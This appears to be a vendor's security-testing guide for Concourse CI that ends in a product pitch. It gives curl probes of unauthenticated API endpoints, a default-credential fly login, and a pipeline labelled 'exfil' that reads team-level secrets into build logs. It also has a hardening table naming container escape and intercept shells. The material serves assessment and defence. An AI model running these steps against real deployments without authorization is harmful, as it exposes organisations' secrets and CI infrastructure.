Concourse CI Security Testing: Credential Exposure, Worker Escape, and Pipeline Injection

Concourse CI is a pipeline-based CI/CD system that runs tasks in containers on worker nodes. Its security model differs from Jenkins in important ways: credentials are stored in an external credential manager (Vault, CredHub, AWS SSM) and injected as environment variables — but by default the credential lookup path is shared across all pipelines in a team, meaning any pipeline can read any secret in the team's namespace; task containers run in garden containers on workers but privileged tasks can escape to the host; the fly set-pipeline command accepts pipeline YAML from any source, and an attacker with fly access can set pipelines that exfiltrate secrets or persist backdoors; and the Concourse ATC (Air Traffic Controller) API on port 8080 may be accessible internally without additional authentication in corporate deployments, allowing pipeline manipulation by anyone on the network. This guide covers systematic Concourse CI security assessment.

Table of Contents

  1. ATC API Discovery and Authentication
  2. Credential Manager Scope Testing
  3. Worker Container Escape
  4. Pipeline Injection via fly
  5. Secret Extraction from Pipeline Logs
  6. Concourse Security Hardening

ATC API Discovery and Authentication

# Concourse ATC default port: 8080 (HTTP), 443 (HTTPS)
# Also: 2222 (SSH for fly intercept), 7777 (worker BBS)

# Check Concourse info endpoint (no auth needed)
curl -s http://concourse.example.com:8080/api/v1/info 2>/dev/null | python3 -m json.tool | head -10
# Returns: {"version":"7.x.x","worker_version":"...","atc_version":"..."}

# List all teams (no auth on some deployments)
curl -s http://concourse.example.com:8080/api/v1/teams 2>/dev/null | \
  python3 -c "
import json,sys
teams = json.load(sys.stdin)
print(f'Teams: {len(teams)}')
for t in teams:
    print(f\"  {t.get('name','?')} id={t.get('id','?')}\")
" 2>/dev/null

# Authenticate with fly CLI
fly -t concourse login -c http://concourse.example.com:8080 -u admin -p admin 2>/dev/null | head -5

# List all pipelines for main team (requires auth)
fly -t concourse pipelines 2>/dev/null | head -20

Credential Manager Scope Testing

# Concourse looks up credentials by path: ///
# Default lookup order: ///, then //
# The // path is shared across all pipelines in the team

# Check if a pipeline can read team-level secrets (cross-pipeline credential access)
# Create a test pipeline that reads a team-level secret
fly -t concourse set-pipeline -p credential-test -c - << 'EOF' 2>/dev/null
jobs:
- name: read-team-secret
  plan:
  - task: exfil
    config:
      platform: linux
      image_resource:
        type: registry-image
        source: {repository: alpine}
      run:
        path: sh
        args:
        - -c
        - |
          # Team-level secrets are accessible via ((var_name)) in any pipeline
          echo "Reading team secret: $SHARED_API_KEY"
      params:
        SHARED_API_KEY: ((shared_api_key))  # team-level secret //shared_api_key
EOF
fly -t concourse unpause-pipeline -p credential-test 2>/dev/null
fly -t concourse trigger-job -j credential-test/read-team-secret --watch 2>/dev/null | \
  grep -E "(Reading|secret|key)" | head -5

Concourse Security Hardening

Concourse CI Security Hardening Checklist:
Security TestMethodRisk
Team-level credential accessible to all pipelinesSet pipeline with ((team_secret)) — reads // shared with all pipelinesHigh
Privileged task container escape to worker hosttask config with privileged: true — mounts host filesystems, reads node secretsCritical
Pipeline injection via fly set-pipelinefly set-pipeline with malicious YAML — exfiltrates credentials via task runHigh
ATC API accessible without authenticationcurl :8080/api/v1/teams — lists teams and pipelines without authHigh
fly intercept gives shell in running containersfly intercept -j team/pipeline/job — interactive shell in running containerHigh
Secret values echo'd in build logsReview build output — secrets interpolated via echo or set -x in task scriptsMedium

Automate Concourse CI Security Testing

Ironimo tests Concourse CI deployments for team-level credential scope allowing cross-pipeline secret access, privileged task container escape to worker host filesystem, pipeline injection via fly set-pipeline with attacker-controlled YAML, unauthenticated ATC API exposing pipeline definitions and team structure, fly intercept shell access to running containers, and secret values disclosed in build log output via echo or debug flags.

Start free scan